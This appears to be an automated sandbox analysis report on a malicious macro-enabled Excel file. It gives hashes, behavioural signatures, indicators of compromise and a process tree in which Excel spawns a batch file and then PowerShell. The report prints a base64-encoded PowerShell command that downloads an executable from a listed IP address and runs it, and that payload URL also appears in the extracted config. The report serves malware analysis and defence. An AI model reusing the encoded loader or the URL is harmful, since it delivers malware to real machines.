Analysis
-
max time kernel
106s -
max time network
136s -
platform
windows10_x64 -
resource
win10-en-20210920 -
submitted
21-10-2021 17:21
Static task
static1
Behavioral task
behavioral1
Sample
QegkD76apDUdkgmDSSbB.xlsm
Resource
win7-en-20211014
Behavioral task
behavioral2
Sample
QegkD76apDUdkgmDSSbB.xlsm
Resource
win10-en-20210920
General
-
Target
QegkD76apDUdkgmDSSbB.xlsm
-
Size
144KB
-
MD5
31a6c161407e0e1c22ba4c8cc7922dbd
-
SHA1
68d27dbce6639d2360d24f3cfbd48e3f03a8c26a
-
SHA256
c6971112e20b441f60617be0343ced897ef21ba2b298f282bbb547248c4360b3
-
SHA512
035c4fe21e7153e13a3d5cf6013bb99e5a23ea7ca46693d8a1b6db72023d0d46fa20167da20d52ed38500ef97fe64eb42b0faa829ee5150e75484db8bbd8718d
Malware Config
Extracted
http://3.64.251.139/vr/r/QegkD76apDUdkgmDSSbB.exe
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3656 2676 cmd.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 31 2156 powershell.exe -
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 2496 2156 WerFault.exe powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 2676 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 17 IoCs
Processes:
powershell.exeWerFault.exepid process 2156 powershell.exe 2156 powershell.exe 2156 powershell.exe 2496 WerFault.exe 2496 WerFault.exe 2496 WerFault.exe 2496 WerFault.exe 2496 WerFault.exe 2496 WerFault.exe 2496 WerFault.exe 2496 WerFault.exe 2496 WerFault.exe 2496 WerFault.exe 2496 WerFault.exe 2496 WerFault.exe 2496 WerFault.exe 2496 WerFault.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exeWerFault.exedescription pid process Token: SeDebugPrivilege 2156 powershell.exe Token: SeDebugPrivilege 2496 WerFault.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
Processes:
EXCEL.EXEpid process 2676 EXCEL.EXE 2676 EXCEL.EXE 2676 EXCEL.EXE 2676 EXCEL.EXE 2676 EXCEL.EXE 2676 EXCEL.EXE 2676 EXCEL.EXE 2676 EXCEL.EXE 2676 EXCEL.EXE 2676 EXCEL.EXE 2676 EXCEL.EXE 2676 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
EXCEL.EXEcmd.exedescription pid process target process PID 2676 wrote to memory of 3656 2676 EXCEL.EXE cmd.exe PID 2676 wrote to memory of 3656 2676 EXCEL.EXE cmd.exe PID 3656 wrote to memory of 2156 3656 cmd.exe powershell.exe PID 3656 wrote to memory of 2156 3656 cmd.exe powershell.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\QegkD76apDUdkgmDSSbB.xlsm"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\Documents\Mbefiusocvqwxsbfo.bat2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -win 1 -enc JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBZAGQAbgBhAGcAZwBtAHQAbwB5AGMAawB5AGgAaQBjAG0AcwBiAGsAYgBtAGQALgBlAHgAZQAiADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwAzAC4ANgA0AC4AMgA1ADEALgAxADMAOQAvAHYAcgAvAHIALwBRAGUAZwBrAEQANwA2AGEAcABEAFUAZABrAGcAbQBEAFMAUwBiAEIALgBlAHgAZQAiACwAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcACQAUAByAG8AYwBOAGEAbQBlACIAKQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAoACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAFAAcgBvAGMATgBhAG0AZQAiACkA3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2156 -s 24644⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\Documents\Mbefiusocvqwxsbfo.batMD5
52d685c5a6f1e37d97649a5d76a53f52
SHA1189724df16f5cebb6887689181014bb9901cd74d
SHA256385c2daf04f2d9042c38d2c6823a2fa5837cfd15dfb4e607749d68d8b7ef5736
SHA5120a6e8a5e298f1ec15c340d17c2da0531d9360c1c426000dd2b38d8852311942d9df90c759741060eca58b95b0184c33c6336f0a2ec8d2c3cf8bd692b2aa340eb
-
memory/2156-285-0x0000028AEF423000-0x0000028AEF425000-memory.dmpFilesize
8KB
-
memory/2156-286-0x0000028AEF426000-0x0000028AEF428000-memory.dmpFilesize
8KB
-
memory/2156-284-0x0000028AEF420000-0x0000028AEF422000-memory.dmpFilesize
8KB
-
memory/2156-269-0x0000000000000000-mapping.dmp
-
memory/2676-118-0x00007FFEE1440000-0x00007FFEE1450000-memory.dmpFilesize
64KB
-
memory/2676-121-0x00007FFEE1440000-0x00007FFEE1450000-memory.dmpFilesize
64KB
-
memory/2676-122-0x000002B179470000-0x000002B179472000-memory.dmpFilesize
8KB
-
memory/2676-119-0x000002B179470000-0x000002B179472000-memory.dmpFilesize
8KB
-
memory/2676-120-0x000002B179470000-0x000002B179472000-memory.dmpFilesize
8KB
-
memory/2676-115-0x00007FFEE1440000-0x00007FFEE1450000-memory.dmpFilesize
64KB
-
memory/2676-117-0x00007FFEE1440000-0x00007FFEE1450000-memory.dmpFilesize
64KB
-
memory/2676-116-0x00007FFEE1440000-0x00007FFEE1450000-memory.dmpFilesize
64KB
-
memory/3656-261-0x0000000000000000-mapping.dmp